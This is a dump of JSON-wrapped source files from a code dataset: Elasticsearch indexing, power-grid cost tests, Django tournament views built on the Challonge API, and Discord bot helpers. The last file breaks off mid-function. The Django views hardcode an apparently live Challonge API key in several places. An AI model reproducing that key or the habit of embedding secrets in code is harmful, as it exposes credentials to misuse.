super(iseprobe, self).calibrateProbeHigh(pHtomV(solutionpH))\n\n def calibrateProbeLow(self, solutionpH):\n super(iseprobe, self).calibrateProbeLow(pHtomV(solutionpH))\n\n def pHtomV(self, pH):\n return (7 - pH) * PROBE_MV_TO_PH\n","sub_path":"python/RaspberryPi/ise_ph.py","file_name":"ise_ph.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"625107081","text":"# imports\nimport django\nfrom elasticsearch import Elasticsearch\nimport json\nimport os\nimport re\nimport sys\n\n# import Row from pyspark\ntry:\n from pyspark.sql import Row\n from pyspark.sql.types import StringType, IntegerType\n from pyspark.sql.functions import udf, lit\nexcept:\n pass\n\n# pylint: disable=wrong-import-position\n# check for registered apps signifying readiness, if not, run django.setup() to run as standalone\nif not hasattr(django, 'apps'):\n os.environ['DJANGO_SETTINGS_MODULE'] = 'combine.settings'\n sys.path.append('/opt/combine')\n django.setup()\n\n# import django settings\nfrom django.conf import settings\n\n# import xml2kvp\ntry:\n from core.xml2kvp import XML2kvp\nexcept:\n from xml2kvp import XML2kvp\n\n\nclass ESIndex():\n\n \"\"\"\n Class to organize methods for indexing mapped/flattened metadata into ElasticSearch (ES)\n \"\"\"\n\n @staticmethod\n def index_job_to_es_spark(spark, job, records_df, field_mapper_config):\n \"\"\"\n Method to index records dataframe into ES\n\n Args:\n spark (pyspark.sql.session.SparkSession): spark instance from static job methods\n job (core.models.Job): Job for records\n records_df (pyspark.sql.DataFrame): records as pyspark DataFrame\n field_mapper_config (dict): XML2kvp field mapper configurations\n\n Returns:\n None\n - indexes records to ES\n \"\"\"\n\n # init logging support\n spark.sparkContext.setLogLevel('INFO')\n log4jLogger = spark.sparkContext._jvm.org.apache.log4j\n logger = log4jLogger.LogManager.getLogger(__name__)\n\n # get index mapper\n index_mapper_handle = globals()['XML2kvpMapper']\n\n # create rdd from index mapper\n def es_mapper_pt_udf(pt):\n\n # init mapper once per partition\n mapper = index_mapper_handle(\n field_mapper_config=field_mapper_config)\n\n for row in pt:\n yield mapper.map_record(\n record_string=row.document,\n db_id=row._id.oid,\n combine_id=row.combine_id,\n record_id=row.record_id,\n publish_set_id=job.publish_set_id,\n fingerprint=row.fingerprint\n )\n\n logger.info('###ES 1 -- mapping records')\n mapped_records_rdd = records_df.rdd.mapPartitions(es_mapper_pt_udf)\n\n # attempt to write index mapping failures to DB\n # filter our failures\n logger.info('###ES 2 -- filtering failures')\n failures_rdd = mapped_records_rdd.filter(lambda row: row[0] == 'fail')\n\n # if failures, write\n if not failures_rdd.isEmpty():\n logger.info('###ES 3 -- writing indexing failures')\n\n failures_df = failures_rdd.map(lambda row: Row(\n db_id=row[1]['db_id'],\n record_id=row[1]['record_id'],\n mapping_error=row[1]['mapping_error']\n )).toDF()\n\n # add job_id as column\n failures_df = failures_df.withColumn('job_id', lit(job.id))\n\n # write mapping failures to DB\n failures_df.select(['db_id', 'record_id', 'job_id', 'mapping_error'])\\\n .write.format(\"com.mongodb.spark.sql.DefaultSource\")\\\n .mode(\"append\")\\\n .option(\"uri\", \"mongodb://127.0.0.1\")\\\n .option(\"database\", \"combine\")\\\n .option(\"collection\", \"index_mapping_failure\").save()\n\n # retrieve successes to index\n logger.info('###ES 4 -- filtering successes')\n to_index_rdd = mapped_records_rdd.filter(\n lambda row: row[0] == 'success')\n\n # create index in advance\n index_name = 'j%s' % job.id\n es_handle_temp = Elasticsearch(hosts=[settings.ES_HOST])\n if not es_handle_temp.indices.exists(index_name):\n # put combine es index templates\n template_body = {\n 'template': '*',\n 'settings': {\n 'number_of_shards': 1,\n 'number_of_replicas': 0,\n 'refresh_interval': -1\n },\n 'mappings': {\n \"dynamic_templates\": [\n {\n \"strings\": {\n \"match_mapping_type\": \"string\",\n \"mapping\": {\n \"type\": \"text\",\n \"fields\": {\n \"keyword\": {\n \"type\": \"keyword\"\n }\n }\n }\n }\n }\n ],\n 'date_detection': False,\n 'properties': {\n 'combine_db_id': {\n 'type': 'integer'\n }\n }\n }\n }\n es_handle_temp.indices.put_template(\n 'combine_template', body=json.dumps(template_body))\n\n # create index\n es_handle_temp.indices.create(index_name)\n\n # index to ES\n logger.info('###ES 5 -- writing to ES')\n to_index_rdd.saveAsNewAPIHadoopFile(\n path='-',\n outputFormatClass=\"org.elasticsearch.hadoop.mr.EsOutputFormat\",\n keyClass=\"org.apache.hadoop.io.NullWritable\",\n valueClass=\"org.elasticsearch.hadoop.mr.LinkedMapWritable\",\n conf={\n \"es.resource\": \"%s/_doc\" % index_name,\n \"es.nodes\": \"%s:9200\" % settings.ES_HOST,\n \"es.nodes.wan.only\": \"true\",\n \"es.mapping.exclude\": \"temp_id,__class__\",\n \"es.mapping.id\": \"temp_id\",\n }\n )\n\n # refresh index\n es_handle_temp.indices.refresh(index_name)\n\n # return\n return to_index_rdd\n\n @staticmethod\n def copy_es_index(\n source_index=None,\n target_index=None,\n create_target_index=True,\n refresh=True,\n wait_for_completion=True,\n add_copied_from=None):\n \"\"\"\n Method to duplicate one ES index to another\n\n Args:\n create_target_index (boolean): If True, check for target and create\n source_index (str): Source ES index to copy from\n target_index (str): Target ES index to copy to\n\n Returns:\n (dict): results of reindex via elasticsearch client reindex request\n \"\"\"\n\n # get ES handle\n es_handle_temp = Elasticsearch(hosts=[settings.ES_HOST])\n\n # put/confirm combine es index templates\n template_body = {\n 'template': '*',\n 'settings': {\n 'number_of_shards': 1,\n 'number_of_replicas': 0,\n 'refresh_interval': -1\n },\n 'mappings': {\n 'date_detection': False,\n 'properties': {\n 'combine_db_id': {\n 'type': 'integer'\n }\n }\n }\n }\n es_handle_temp.indices.put_template(\n 'combine_template', body=json.dumps(template_body))\n\n # if creating target index check if target index exists\n if create_target_index and not es_handle_temp.indices.exists(target_index):\n es_handle_temp.indices.create(target_index)\n\n # prepare reindex query\n dupe_dict = {\n 'source': {\n 'index': source_index,\n 'query': {}\n },\n 'dest': {\n 'index': target_index\n }\n }\n\n # if add_copied_from, include in reindexed document\n if add_copied_from:\n dupe_dict['script'] = {\n 'inline': 'ctx._source.source_job_id = %s' % add_copied_from,\n 'lang': 'painless'\n }\n\n # reindex using elasticsearch client\n params = {'wait_for_completion': wait_for_completion, 'refresh': refresh}\n reindex = es_handle_temp.reindex(body=dupe_dict, params=params)\n return reindex\n\n\nclass BaseMapper():\n\n \"\"\"\n All mappers extend this BaseMapper class.\n\n Contains some useful methods and attributes that other mappers may use\n\n Mappers expected to contain following methods:\n - map_record()\n \"\"\"\n\n # pre-compiled regex\n blank_check_regex = re.compile(r\"[^ \\t\\n]\") # checker for blank spaces\n namespace_prefix_regex = re.compile(r'(\\{.+\\})?(.*)') # element tag name\n\n def get_namespaces(self):\n \"\"\"\n Method to parse namespaces from XML document and save to self.nsmap\n \"\"\"\n\n nsmap = {}\n for ns in self.xml_root.xpath('//namespace::*'):\n if ns[0]:\n nsmap[ns[0]] = ns[1]\n self.nsmap = nsmap\n\n # set inverted nsmap\n self.nsmap_inv = {v: k for k, v in self.nsmap.items()}\n\n\nclass XML2kvpMapper(BaseMapper):\n \"\"\"\n Map XML to ElasticSearch friendly fields with XML2kvp\n \"\"\"\n\n def __init__(self, field_mapper_config=None):\n\n self.field_mapper_config = field_mapper_config\n\n def map_record(self,\n record_string=None,\n db_id=None,\n combine_id=None,\n record_id=None,\n publish_set_id=None,\n fingerprint=None\n ):\n \"\"\"\n Map record\n\n Args:\n record_string (str): string of record document\n db_id (str): mongo db id\n combine_id (str): combine_id id\n record_id (str): record id\n publish_set_id (str): core.models.RecordGroup.published_set_id, used to build publish identifier\n fingerprint (str): fingerprint\n\n Returns:\n (tuple):\n 0 (str): ['success','fail']\n 1 (dict): details from mapping process, success or failure\n \"\"\"\n\n try:\n\n # prepare literals\n if 'add_literals' not in self.field_mapper_config.keys():\n self.field_mapper_config['add_literals'] = {}\n\n # add literals\n self.field_mapper_config['add_literals'].update({\n\n # add temporary id field\n 'temp_id': db_id,\n\n # add combine_id field\n 'combine_id': combine_id,\n\n # add record_id field\n 'record_id': record_id,\n\n # add publish set id\n 'publish_set_id': publish_set_id,\n\n # add record's Combine DB id\n 'db_id': db_id,\n\n # add record's crc32 document hash, aka \"fingerprint\"\n 'fingerprint': fingerprint,\n\n })\n\n # map with XML2kvp\n kvp_dict = XML2kvp.xml_to_kvp(\n record_string, **self.field_mapper_config)\n\n return (\n 'success',\n kvp_dict\n )\n\n except Exception as e:\n\n return (\n 'fail',\n {\n 'db_id': db_id,\n 'record_id': record_id,\n 'mapping_error': str(e)\n }\n )\n","sub_path":"core/spark/es.py","file_name":"es.py","file_ext":"py","file_size_in_byte":11830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"629863906","text":"import pytest\n\nfrom powersimdata.design.investment.inflation import calculate_inflation\nfrom powersimdata.design.investment.investment_costs import (\n _calculate_ac_inv_costs,\n _calculate_dc_inv_costs,\n _calculate_gen_inv_costs,\n)\nfrom powersimdata.tests.mock_grid import MockGrid\n\n# bus_id is the index\nmock_bus = {\n \"bus_id\": [2010228, 2021106, 2010319, 2010320],\n \"lat\": [47.6146, 37.7849, 47.6408, 47.6408],\n \"lon\": [-122.326, -122.407, -122.339, -122.339],\n \"baseKV\": [100, 346, 230, 800],\n}\n\n# branch 10-12 from Seattle (s3, p1, NWPP Coal) to San Francisco (s25, p9, NP15) (~679 miles)\n# branch 13-14 are transformers (0 miles)\nmock_branch = {\n \"branch_id\": [10, 11, 12, 13, 14],\n \"rateA\": [0, 10, 1100, 30, 40],\n \"from_bus_id\": [2010228, 2010228, 2010319, 2010319, 2021106],\n \"to_bus_id\": [2021106, 2021106, 2021106, 2010320, 2021106],\n \"branch_device_type\": 3 * [\"Line\"] + 2 * [\"Transformer\"],\n}\nmock_branch[\"from_lat\"] = [\n mock_bus[\"lat\"][mock_bus[\"bus_id\"].index(bus)] for bus in mock_branch[\"from_bus_id\"]\n]\nmock_branch[\"from_lon\"] = [\n mock_bus[\"lon\"][mock_bus[\"bus_id\"].index(bus)] for bus in mock_branch[\"from_bus_id\"]\n]\nmock_branch[\"to_lat\"] = [\n mock_bus[\"lat\"][mock_bus[\"bus_id\"].index(bus)] for bus in mock_branch[\"to_bus_id\"]\n]\nmock_branch[\"to_lon\"] = [\n mock_bus[\"lon\"][mock_bus[\"bus_id\"].index(bus)] for bus in mock_branch[\"to_bus_id\"]\n]\n\nmock_plant = {\n \"plant_id\": [\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\"],\n \"bus_id\": [2010228, 2010228, 2021106, 2010319, 2010319, 2010319, 2010320, 2021106],\n \"type\": [\"solar\", \"coal\", \"wind\", \"solar\", \"solar\", \"ng\", \"wind\", \"nuclear\"],\n \"Pmax\": [15, 30, 10, 12, 8, 20, 15, 1000],\n}\nmock_plant[\"lat\"] = [\n mock_bus[\"lat\"][mock_bus[\"bus_id\"].index(bus)] for bus in mock_plant[\"bus_id\"]\n]\nmock_plant[\"lon\"] = [\n mock_bus[\"lon\"][mock_bus[\"bus_id\"].index(bus)] for bus in mock_plant[\"bus_id\"]\n]\n\nmock_dcline = {\n \"dcline_id\": [5],\n \"Pmax\": [10],\n \"from_bus_id\": [2010228],\n \"to_bus_id\": [2021106],\n}\n\nmock_storage_gen = {\n \"Pmax\": [100, 200],\n \"bus_id\": [2010228, 2021106],\n \"type\": [\"storage\"] * 2,\n}\n\ngrid_attrs = {\n \"plant\": mock_plant,\n \"bus\": mock_bus,\n \"branch\": mock_branch,\n \"dcline\": mock_dcline,\n \"storage_gen\": mock_storage_gen,\n}\n\n\n@pytest.fixture\ndef mock_grid():\n return MockGrid(grid_attrs)\n\n\ndef test_calculate_ac_inv_costs(mock_grid):\n expected_ac_cost = {\n # ((reg_mult1 + reg_mult2) / 2) * sum(basecost * rateA * miles)\n \"line_cost\": (\n ((1 + 2.25) / 2)\n * (3666.67 * 10 * 679.179925842 + 1500 * 1100 * 680.986501516)\n * calculate_inflation(2010)\n ),\n # for each: rateA * basecost * regional multiplier\n \"transformer_cost\": ((30 * 7670 * 1) + (40 * 8880 * 2.25))\n * calculate_inflation(2020),\n }\n ac_cost = _calculate_ac_inv_costs(mock_grid)\n assert ac_cost.keys() == expected_ac_cost.keys()\n for k in ac_cost.keys():\n assert ac_cost[k] == pytest.approx(expected_ac_cost[k])\n\n\ndef test_calculate_dc_inv_costs(mock_grid):\n expected_dc_cost = (\n # lines\n 10 * 679.1799258421203 * 457.1428571 * calculate_inflation(2015)\n # terminals\n + 135e3 * 10 * 2 * calculate_inflation(2020)\n )\n dc_cost = _calculate_dc_inv_costs(mock_grid)\n assert dc_cost == pytest.approx(expected_dc_cost)\n\n\ndef test_calculate_gen_inv_costs_2030(mock_grid):\n gen_inv_cost = _calculate_gen_inv_costs(mock_grid, 2030, \"Moderate\").to_dict()\n expected_gen_inv_cost = {\n # for each: capacity (kW) * regional multiplier * base technology cost\n \"solar\": sum(\n [\n 15e3 * 1.01701 * 836.3842785,\n 12e3 * 1.01701 * 836.3842785,\n 8e3 * 1.01701 * 836.3842785,\n ]\n ),\n \"coal\": 30e3 * 1.05221 * 4049.047403,\n \"wind\": 10e3 * 1.16979 * 1297.964758 + 15e3 * 1.04348 * 1297.964758,\n \"ng\": 20e3 * 1.050755 * 983.2351768,\n \"storage\": 100e3 * 1.012360 * 817 + 200e3 * 1.043730 * 817,\n \"nuclear\": 1000e3 * 1.07252 * 6727.799801,\n }\n inflation = calculate_inflation(2018)\n expected_gen_inv_cost = {k: v * inflation for k, v in expected_gen_inv_cost.items()}\n assert gen_inv_cost.keys() == expected_gen_inv_cost.keys()\n for k in gen_inv_cost.keys():\n assert gen_inv_cost[k] == pytest.approx(expected_gen_inv_cost[k])\n","sub_path":"powersimdata/design/investment/tests/test_investment_costs.py","file_name":"test_investment_costs.py","file_ext":"py","file_size_in_byte":4429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"440335910","text":"# -*- coding: utf-8 -*-\n\nfrom datetime import datetime, timedelta\n\nfrom pytz import timezone\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.urlresolvers import reverse\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.utils import translation\nfrom django.utils.translation import ugettext as _\n\nfrom apps.competition.models import Activity, Competition, Participant\nfrom apps.lan.models import LAN, Attendee\nfrom apps.team.models import Team\nfrom apps.lottery.models import Lottery\n\nimport challonge\n\ndef main(request):\n lans = LAN.objects.filter(end_date__gte=datetime.now())\n if lans:\n next_lan = lans[0]\n return redirect('competitions_show_lan', lan_id=next_lan.id)\n else:\n context = {}\n competitions = Competition.objects.all()\n competitions = shorten_descriptions(competitions, 200)\n\n context['activities'] = Activity.objects.all()\n context['competitions'] = competitions\n context['active'] = 'all'\n\n breadcrumbs = (\n (settings.SITE_NAME, '/'),\n (_(u'Competitions'), ''),\n )\n context['breadcrumbs'] = breadcrumbs\n\n return render(request, 'competition/competitions.html', context)\n\n\ndef main_filtered(request, lan_id):\n lan = get_object_or_404(LAN, pk=lan_id)\n\n context = {}\n competitions = Competition.objects.filter(lan=lan)\n competitions = shorten_descriptions(competitions, 200)\n\n context['activities'] = Activity.objects.all()\n context['competitions'] = competitions\n context['active'] = 'all'\n context['lan'] = lan\n context['lotteries'] = Lottery.objects.filter(lan=lan)\n\n breadcrumbs = (\n (settings.SITE_NAME, '/'),\n (_(u'Competitions'), reverse('competitions')),\n (lan, '')\n )\n context['breadcrumbs'] = breadcrumbs\n\n return render(request, 'competition/competitions.html', context)\n\n\ndef activity_details(request, activity_id):\n lans = LAN.objects.filter(end_date__gte=datetime.now())\n if lans:\n next_lan = lans[0]\n return redirect('activity_details_show_lan', lan_id=next_lan.id, activity_id=activity_id)\n else:\n activity = get_object_or_404(Activity, pk=activity_id)\n\n context = {}\n competitions = Competition.objects.filter(activity=activity)\n competitions = shorten_descriptions(competitions, 200)\n\n context['active'] = activity.id\n context['activities'] = Activity.objects.all()\n context['competitions'] = competitions\n\n breadcrumbs = (\n (settings.SITE_NAME, '/'),\n ('Competitions', reverse('competitions')),\n (activity, ''),\n )\n context['breadcrumbs'] = breadcrumbs\n\n return render(request, 'competition/competitions.html', context)\n\n\ndef activity_details_filtered(request, lan_id, activity_id):\n lan = get_object_or_404(LAN, pk=lan_id)\n activity = get_object_or_404(Activity, pk=activity_id)\n\n context = {}\n competitions = Competition.objects.filter(lan=lan, activity=activity)\n competitions = shorten_descriptions(competitions, 200)\n\n context['active'] = activity.id\n context['activities'] = Activity.objects.all()\n context['competitions'] = competitions\n context['lan'] = lan\n\n breadcrumbs = (\n (settings.SITE_NAME, '/'),\n (_(u'Competitions'), reverse('competitions')),\n (lan, reverse('lan_details', kwargs={'lan_id': lan.id})),\n (activity, ''),\n )\n context['breadcrumbs'] = breadcrumbs\n\n return render(request, 'competition/competitions.html', context)\n\n\ndef shorten_descriptions(competitions, length):\n for c in competitions:\n if len(c.get_translation().translated_description) > length:\n c.get_translation().translated_description = c.get_translation().translated_description[:length-3] + '...'\n return competitions\n\n\ndef competition_details(request, competition_id):\n challonge.set_credentials('tordsk', 'nJPg1DF7ZxCjPHs3C58BYlrtGh2XG3tWxBLciigZ')\n context = {}\n competition = get_object_or_404(Competition, pk=competition_id)\n\n breadcrumbs = (\n (settings.SITE_NAME, '/'),\n (_(u'Competitions'), reverse('competitions')),\n (competition, ''),\n )\n\n context['breadcrumbs'] = breadcrumbs\n\n\n if request.user.is_superuser and len(competition.get_participants()[0])>1 or len(competition.get_participants()[1])>1:\n if request.method=='POST':\n if request.POST.get('op') =='s_checkin':\n #start check in\n competition.status = 2\n competition.save()\n dt = datetime.now(timezone('US/Eastern')) + timedelta(hours=1)\n challonge.tournaments.update(competition.challonge_url, start_at=dt, check_in_duration=60)\n elif request.POST.get('op') == 's_tourney':\n #start compo\n competition.status = 3\n competition.save()\n challonge.api.fetch_and_parse('POST', 'tournaments/'+str(competition.challonge_url)+'/process_check_ins')\n if len(competition.get_participants()[0])>1 or len(competition.get_participants()[1])>1:\n messages.info(request, 'Tournament has started!')\n challonge.tournaments.start(competition.challonge_url)\n for participant in Participant.objects.filter(competition=competition, checked_in=False):\n participant.delete()\n else:\n messages.error(request, 'Tournament must have at least 2 participants')\n elif request.POST.get('op') == 'f_tourney':\n #finalize competition\n competition.status = 4\n competition.save()\n challonge.api.fetch_and_parse('POST', 'tournaments/'+str(competition.challonge_url)+'/finalize')\n context['state'] = challonge.tournaments.show(competition.challonge_url)['state']\n\n teams, users = competition.get_participants()\n context['teams'] = teams\n context['users'] = users\n\n if competition.has_participant(request.user):\n if request.user in users:\n context['participating'] = 'solo'\n context['participant'] = get_object_or_404(Participant, user=request.user, competition=competition)\n\n else:\n context['participating'] = 'team'\n for team in teams:\n if request.user == team.leader:\n context['participant'] = Participant.objects.get(team=team, competition=competition)\n\n if competition.status > 2 and 'participant' in context:\n open_m = challonge.api.fetch_and_parse('GET', 'tournaments/'+str(competition.challonge_url)+'/matches',\n state='open', participant_id=str(context['participant'].challonge_id))\n\n\n for match in open_m:\n if match['state'] == 'open':\n context['open_match'] = match\n\n if competition.status == 3:\n if context['participant'].current_score < 0:\n messages.warning(request, \"You have not reported your score yet. Finish the match and report your score below\")\n else:\n messages.success(request, \"Your reported score is: \" + str(context['participant'].current_score) +\n \". Waiting for opponent to submit score\")\n\n\n #Insert placeholder image if the image_url is empty\n if not competition.activity.image_url:\n competition.activity.image_url = 'http://placehold.it/150x150'\n\n if request.user.is_authenticated():\n owned_teams = Team.objects.filter(leader=request.user)\n\n context['owned_teams'] = owned_teams\n else:\n messages.warning(request, _(u\"Please log in to register for the competition.\"))\n context['competition'] = competition\n\n return render(request, 'competition/competition.html', context)\n\n\n@login_required\ndef join(request, competition_id):\n competition = get_object_or_404(Competition, pk=competition_id)\n teams, users = competition.get_participants()\n challonge.set_credentials('tordsk', 'nJPg1DF7ZxCjPHs3C58BYlrtGh2XG3tWxBLciigZ')\n\n # Checks if the user is already in the competition with a team, solo queue should be\n # overridden by team signup, but not other way around\n for team in teams:\n if request.user == team.leader or request.user in team.members.all():\n messages.error(request, _(u\"You are already in this competition with \") + unicode(team))\n return redirect(competition)\n\n # Checks that a form was posted, and if it contains a team id\n if request.method == 'POST':\n team_id = request.POST.get('team')\n if team_id:\n team = get_object_or_404(Team, pk=team_id)\n\n # Check if team restrictions are in place\n if competition.enforce_team_size:\n if team.number_of_team_members() + 1 < competition.team_size:\n messages.error(request, _(unicode(team) + u\" does not have enough members (\") +\n str(team.number_of_team_members() + 1) + u\"/\" + str(competition.team_size) + u\")\")\n return redirect(competition)\n\n if competition.enforce_payment:\n paid = 0\n leader_attendee = Attendee.objects.get(lan=competition.lan, user=team.leader)\n if leader_attendee.has_paid or competition.lan.has_ticket(team.leader):\n paid += 1\n for member in team.members.all():\n if member not in competition.lan.attendees:\n messages.error(request, _(unicode(team) + u\" has at least one member that is not signed up for \"+\n unicode(competition.lan)))\n return redirect(competition)\n\n attendee = Attendee.objects.filter(lan=competition.lan, user=member.user)\n if attendee.has_paid or competition.lan.has_ticket(member.user):\n paid += 1\n if paid < competition.team_size:\n messages.error(request, _(unicode(team) + u\" does not have enough members that have paid (\") +\n str(paid) + u\"/\" + str(competition.team_size) + u\")\")\n return redirect(competition)\n\n # Go through all members of the team and delete their individual participation entries\n if request.user in users:\n participant = Participant.objects.get(user=request.user, competition=competition)\n participant.delete()\n\n members = team.members.all()\n participants = Participant.objects.filter(user__in=members)\n\n for participant in participants:\n participant.delete()\n\n # Add the team\n participant = Participant(team=team, competition=competition)\n participant.challonge_id = challonge.participants.create(competition.challonge_url,\n participant.team.title)['id']\n participant.save()\n\n else:\n # If solo signup and already signed\n if request.user in users:\n messages.error(request, _(u\"You are already in this competition as a solo player.\"))\n return redirect(competition)\n else:\n participant = Participant(user=request.user, competition=competition)\n if not competition.use_teams:\n participant.challonge_id = challonge.participants.create(competition.challonge_url,\n participant.user.username)['id']\n participant.save()\n messages.success(request, _(u\"You have been signed up for \") + unicode(competition))\n return redirect(competition)\n\n\n@login_required\ndef leave(request, competition_id):\n competition = get_object_or_404(Competition, pk=competition_id)\n\n # If not participating, do nothing\n if not competition.has_participant(request.user):\n messages.error(request, _(u\"You are not participating in this competition.\"))\n else:\n if request.method == 'POST':\n if request.user in competition.get_users():\n participant = Participant.objects.get(user=request.user, competition=competition)\n if participant.challonge_id:\n challonge.participants.destroy(competition.challonge_url, participant.challonge_id)\n participant.delete()\n messages.success(request, _(u\"You are no longer participating in \") + unicode(competition))\n else:\n was_leader = False\n for team in competition.get_teams():\n if request.user == team.leader:\n was_leader = True\n participant = Participant.objects.get(team=team, competition=competition)\n challonge.participants.destroy(competition.challonge_url, participant.challonge_id)\n participant.delete()\n messages.success(request, _(u\"You have removed \") + unicode(team) + _(u\" from \") + unicode(competition))\n if not was_leader:\n messages.error(request, \"You cannot remove %s from %s, you are not the team leader.\" % (team, competition))\n\n return redirect(competition)\n\n\n@login_required\ndef forfeit(request, competition_id):\n competition = get_object_or_404(Competition, pk=competition_id)\n messages.error(request, 'Forfeit not yet implemented!')\n return redirect(competition)\n\n\ndef translate_competitions(competitions):\n translated_competitions = []\n for competition in competitions:\n translated_competitions.append(competition.get_translation(language=translation.get_language()))\n return translated_competitions\n\n\ndef check_in(request, competition_id):\n competition = get_object_or_404(Competition, pk=competition_id)\n challonge.set_credentials('tordsk', 'nJPg1DF7ZxCjPHs3C58BYlrtGh2XG3tWxBLciigZ')\n if competition.has_participant(request.user):\n if competition.use_teams:\n for team in competition.get_teams():\n if request.user == team.leader:\n participant = get_object_or_404(Participant, team=team, competition=competition)\n else:\n participant = get_object_or_404(Participant, user=request.user, competition=competition)\n if participant.challonge_id:\n participant.checked_in = True\n participant.save()\n challonge.fetch('POST', 'tournaments/'+str(competition.challonge_url)+'/participants/'+ str(participant.challonge_id) + '/check_in')\n return redirect(competition)\n\ndef report_result(request, competition_id):\n competition = get_object_or_404(Competition, pk=competition_id)\n challonge.set_credentials('tordsk', 'nJPg1DF7ZxCjPHs3C58BYlrtGh2XG3tWxBLciigZ')\n open_matches = challonge.api.fetch_and_parse('GET', 'tournaments/'+str(competition.challonge_url)+'/matches',\n state='open')\n user_score = request.POST.get('user_score')\n csv = ''\n winner = ''\n user_position = 0\n current_match = ''\n other_player = ''\n\n if competition.use_teams:\n for team in competition.get_teams():\n if request.user == team.leader:\n user_part = Participant.objects.get(team=team, competition=competition)\n else:\n user_part = get_object_or_404(Participant, user=request.user, competition=competition)\n user_part.current_score = int(user_score)\n user_part.save()\n for match in open_matches:\n if str(match['player1-id']) == str(user_part.challonge_id):\n other_player = match['player2-id']\n user_position = 1\n current_match = match['id']\n else:\n if str(match['player2-id']) == str(user_part.challonge_id):\n other_player = match['player1-id']\n user_position = 2\n current_match = match['id']\n other_part = get_object_or_404(Participant, challonge_id=other_player, competition=competition)\n\n if other_part.current_score < 0:\n return redirect(competition)\n\n if other_part.current_score > user_part.current_score:\n winner = other_player\n else:\n winner = user_part.challonge_id\n\n if user_position == 1:\n csv = str(user_part.current_score) +'-'+ str(other_part.current_score)\n else:\n csv = str(other_part.current_score) +'-'+ str(user_part.current_score)\n\n #oppdater challonge matchen med resultat og vinner\n\n challonge.matches.update(competition.challonge_url, current_match, scores_csv =csv, winner_id = winner)\n\n #klargjør neste runde\n user_part.current_score = -1\n user_part.save()\n other_part.current_score = -1\n other_part.save()\n return redirect(competition)","sub_path":"apps/competition/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":17144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"571454375","text":"import os\nimport re\nimport yaml\nfrom datetime import datetime, timedelta\nfrom discord import Embed, channel, member, message\nfrom discord.ext import commands\nfrom apscheduler.schedulers.asyncio import AsyncIOScheduler\n\nbot = commands.Bot(command_prefix=\"!\")\nconfig = {}\nscheduler = AsyncIOScheduler()\nscheduler.start()\n# TODO aliases were never fully implemented in jerbot2, figure this out\n\n\ndef list_prettyprint(old_list: list):\n \"\"\"\n Prepares a list for easier viewing on Discord.\n Example:\n list_prettyprint([foo, bar])\n Returns:\n `foo, bar`\n \"\"\"\n return f'`{\", \".join(old_list)}`'\n\n\ndef load_config():\n successful = []\n with open('config.yaml') as cfg:\n try:\n config['main'] = yaml.safe_load(cfg)\n successful.append('main')\n except Exception as e:\n print(f'Failed to load main configuration. ({e})')\n\n for name in os.listdir('config'):\n if name.startswith('config') and name.endswith('yaml'):\n server_id = re.sub(r'\\D', '', name)\n with open('config/' + name) as cfg:\n try:\n config[server_id] = yaml.safe_load(cfg)\n successful.append(server_id)\n except Exception as e:\n print(f'Failed to load {name}. ({e})')\n return successful\n\n\ndef load_modules():\n successful = []\n for extension in sorted(config['main']['extensions']):\n try:\n bot.load_extension(f'modules.{extension}')\n successful.append(extension)\n except Exception as e:\n print(f'Failed to load {extension}. ({e})')\n return successful\n\n\nasync def write_embed(channel: channel, member: member, color, title, event='', avatar=True, footer=None, fields=None,\n message=None, description=None):\n \"\"\"\n :param channel: ID of the channel to send the log embed in.\n :param member: Member that is being referenced in this embed.\n :param color: Color of the embed.\n :param title: Title of the embed.\n :param event: Event that is triggering the embed write: Member Joined, Member Left, Member Banned, etc. Optional.\n :param avatar: If avatar should be displayed in moderation logs. Default: True\n :param fields: Optional. [[title, content]]\n :param footer: Optional. Footer for the embed.\n :param message: Optional. Message string to send alongside the embed.\n :param description: Optional. Description of the embed.\n :returns Sent message\n \"\"\"\n if fields is None:\n fields = []\n embed = Embed(color=color, title=title, description=description)\n embed.set_author(name=event)\n if avatar:\n embed.set_thumbnail(url=member.avatar_url if member.avatar_url else member.default_avatar_url)\n if fields:\n for field in fields:\n embed.add_field(name=field[0], value=field[1], inline=True)\n if footer:\n embed.set_footer(text=footer)\n return await bot.get_channel(channel).send(message, embed=embed)\n\nasync def write_message(channel: channel, message: message):\n \"\"\"\n :param channel: ID of the channel to send a message in.\n :param message: Message to send.\n \"\"\"\n await bot.get_channel(channel).send(message)\n\n\ndef check_roles(command: str, ctx = None):\n \"\"\"\n Custom check. Checks if a the user has a role for the command in the config.\n :param command: Category in the YAML to look under\n :param ctx: discord.py context\n :return: boolean\n \"\"\"\n\n def predicate(ctx):\n for role in ctx.message.author.roles:\n if role.name.lower() in {i.lower() for i in config[str(ctx.guild.id)][command]['roles']}:\n return True\n return False\n\n if ctx:\n return predicate(ctx)\n else:\n return commands.check(predicate)\n\n\nasync def module_enabled(command: str, id: int or str):\n \"\"\"\n Custom check. Checks if the module is enabled for the server in the config.\n :param command: Category in the YAML to look under\n :param id: server ID\n :return: boolean\n \"\"\"\n return config[str(id)][command]['enabled']\n\nasync def parse_time(time: str):\n \"\"\"\n Takes an input String and parses it into a usable timedelta.\n :param parsestring: Input string\n :return: timedelta\n \"\"\"\n case = dict(d=timedelta(days=int(re.sub(r'\\D', '', time))), h=timedelta(hours=int(re.sub(r'\\D', '', time))),\n m=timedelta(minutes=int(re.sub(r'\\D', '', time))),\n s=timedelta(seconds=int(re.sub(r'\\D', '', time))))\n return case.get(time[-1])\n\n\nasync def schedule_task(task, time: timedelta, id: str, args: list = None):\n '''\n Schedules a task to be ran at the provided time delta.\n :param task: Task to be ran\n :param time: Timedelta\n :param id: ID for the task. This will be needed to remove the task later.\n :param args: Arguments to pass to the task. Optional.\n '''\n scheduler.add_job(task, 'date', run_date=datetime.now() + time, args=args, id=id)\n\n\nasync def remove_task(id):\n '''\n Removes a task from the queue.\n :param id: ID of the task to be deleted,\n '''\n 